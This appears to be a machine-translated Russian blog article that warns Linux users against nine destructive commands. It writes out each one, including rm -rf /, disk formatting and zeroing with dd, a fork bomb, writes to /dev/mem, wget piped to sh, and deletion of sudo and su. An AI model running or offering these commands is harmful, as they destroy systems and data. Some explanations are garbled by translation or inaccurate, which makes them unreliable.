9 Смертельных Linux-команд, которые вы никогда не должны выполнять

Linux может быть обоюдоострым мечом. Это предполагает, что вы знаете, что делаете, и дает вам свободу делать все, что вы хотите. Это не задаст вам вопросов. Это удобно, когда вы действительно знаете, что делаете, но это также означает, что вы можете сделать свою систему непригодной для использования в считанные секунды.

Новичок в командной строке Linux? Не волнуйтесь. Начните с нашего краткого руководства по Linux-терминалу

вместе с этими 40 основными командами Linux

, Благодаря этим двум ресурсам вы быстро ознакомитесь с командной строкой.

Но являетесь ли вы новичком в Linux или ветераном Linux, вы никогда не должны запускать команду, если не знаете точно, что она делает. Вот некоторые из самых смертоносных команд Linux, которых вы, по большей части, хотите избежать.

Удалить рекурсивно

Возможность Linux удалить все, что вы хотите без вопросов, — это находка, особенно после многих лет ошибок «Этот файл нельзя удалить» в Windows. Но интернет-тролли будут быстро обманывать вас, предоставляя вам чрезвычайно опасные команды удаления, которые могут стереть все жесткие диски.

rm -rf /

Эта строка выполняет команду удаления комната с двумя переключателями: который вызывает рекурсивное удаление через все подкаталоги и что вызывает удаление файлов только для чтения без подтверждения. Команда выполняется на / корневой каталог, по сути стирающий всю вашу систему в чистоте.

Обратите внимание, что в наши дни на большинстве систем Linux, если вы попытаетесь это сделать, вы получите предупреждение. Но предупреждение не гарантировано, поэтому просто не делайте этого.

Формат жесткого диска

Терминал особенно сложен для новичков в Linux, потому что он предоставляет несколько способов случайно стереть жесткий диск. Рекурсивное удаление является большим, но вот другое:

mkfs.ext3 /dev/hda

Эта команда форматирует жесткий диск для использования файловой системы ext3. Форматирование диска

Это не вредоносное действие, но оно «сбрасывает» диск так, что он «как новый». Другими словами, отформатированный жесткий диск похож на чистый лист.

Форматирование полезно для разделов диска и внешних дисков, но выполняется на всем жестком диске (например, / DEV / HDA) опасен и может оставить вашу систему в неисправимом состоянии.

Перезаписать жесткий диск

Как будто случайное форматирование диска не было достаточно плохим, возможно перезаписать ваш жесткий диск, используя необработанные данные. По крайней мере, форматирование диска — это актуальная процедура с реальным использованием; с другой стороны, непосредственная перезапись диска не так уж и хороша.

command > /dev/hda

В приведенной выше команде команда может быть заменен любой командой Bash. > Оператор перенаправляет вывод команды слева в файл справа. В этом случае не имеет значения, какой будет вывод левой команды. Эти необработанные данные перенаправляются и используются для перезаписи системного жесткого диска.

Как вы можете себе представить, это делает его бесполезным.

Протрите жесткий диск

Вот еще один способ разрушить вашу систему. На этот раз команда полностью обнулит ваш жесткий диск. Нет повреждения или перезаписи данных; это буквально заполнит ваш жесткий диск нулями. Жесткий диск больше не стирается.

dd if=/dev/zero of=/dev/hda

дд Команда — это инструкция низкого уровня, которая в основном используется для записи данных на физические диски. если Параметр определяет источник данных, который в данном случае / DEV / ноль, специальный для Linux, который производит бесконечный поток нулей. из Параметр определяет назначение этих нулей, которое является / DEV / HDA привод.

Да, есть законные причины для обнуления диска, но если вы не знаете, каковы эти причины, то вам нужно держаться подальше от этой команды.

Взорвать жесткий диск

Если вы устали слышать способы сломать ваш жесткий диск, подождите. Вот еще один для вас. В Linux есть специальный файл, который называется / DEV / нуль это откажется от любых данных, записанных в него. Вы можете думать об этом как о черной дыре или уничтожителе файлов: все, что было дано ему в качестве ввода, будет съедено навсегда.

mv / /dev/null

Можете ли вы обнаружить опасность здесь? милливольт команда пытается переместить корневой каталог системы / в черную дыру / DEV / нуль. Это правильная команда, и результат ужасен: жесткий диск съедается и ничего не остается. Это сделает вашу систему непригодной для использования.

Причина паники ядра

У Windows есть свой печально известный Синий Экран Смерти

, И, несмотря на распространяющиеся мифы, Linux не является абсолютно безопасной системой.

, Иногда возникает внутренняя ошибка, из-за которой восстановление невозможно, поэтому система выдаст что-то похожее на синий экран: паника ядра.

dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem

Сложности вышеперечисленных команд здесь не важны. Важно то, что запуск любой из этих строк приведет к панике ядра, заставив вас перезагрузить систему. Лучше держаться подальше от этих команд, если вы не абсолютно уверены, что знаете, что делаете.

Вилка Бомба

Bash — это язык терминала Linux

и это мощно. Он не только может запускать команды, но также может запускать функции, что облегчает написание сценариев, которые могут автоматизировать системные задачи. К сожалению, функции не обходятся без собственного набора рисков.

:(){:|:&};:

Эта неясная команда называется вилочная бомба, это особый тип паники ядра. Он определяет функцию с именем : который рекурсивно вызывает себя дважды при выполнении. Один из рекурсивных вызовов происходит на переднем плане, а другой — на заднем плане.

Другими словами, всякий раз, когда эта функция выполняется, она порождает два дочерних процесса. Эти дочерние процессы порождают свои собственные дочерние процессы, и этот цикл продолжает бесконечный цикл. Единственный выход из этого — перезагрузить систему.

Выполнить удаленный скрипт

Вот невинная команда, которая может быть полезна в повседневной жизни в системе Linux. Wget извлекает содержимое веб-URL, который можно использовать для доступа к веб-сайтам или загрузки файлов. Однако есть простой трюк, который делает его опасным:

wget http://an-untrusted-url -O- | sh

Приведенная выше комбинация загружает содержимое данного URL и сразу передает его ш Команда, которая выполняет загруженное содержимое в терминале. Если бы URL указывал на вредоносный скрипт, вы бы запутали свою судьбу этой командой.

Отключить права root-команд

Эта последняя команда проста. Он использует обычно используемые комната Команда для отключения двух наиболее важных команд в Linux: Судо а также су. Короче говоря, эти два позволяют вам запускать другие команды с правами root. Без них жизнь в Linux была бы несчастной.

rm -f /usr/bin/sudo;rm -f /bin/su

Вот почему вы не должны запускать эту команду. Он принудительно удаляет обе команды из вашей системы без какого-либо подтверждения, оставляя вас в затруднительном положении. Есть способы восстановить то, что вы удалили

, но это не всегда просто и не будет приятно.

Пожалуйста, будь осторожен! Не бойтесь играть с Linux

и терминал командной строки, но в то же время проводите исследования и никогда ничего не выполняйте, если вы не абсолютно уверены в том, что они делают. Если кто-то говорит вам «попробовать эту команду», всегда проверяйте ее дважды и трижды.

Вы когда-нибудь управляли разрушительной командой? Что случилось? Кто-то обманул тебя? Поделитесь своими мыслями и опытом с нами в комментариях!

Ссылка на основную публикацию
Adblock
detector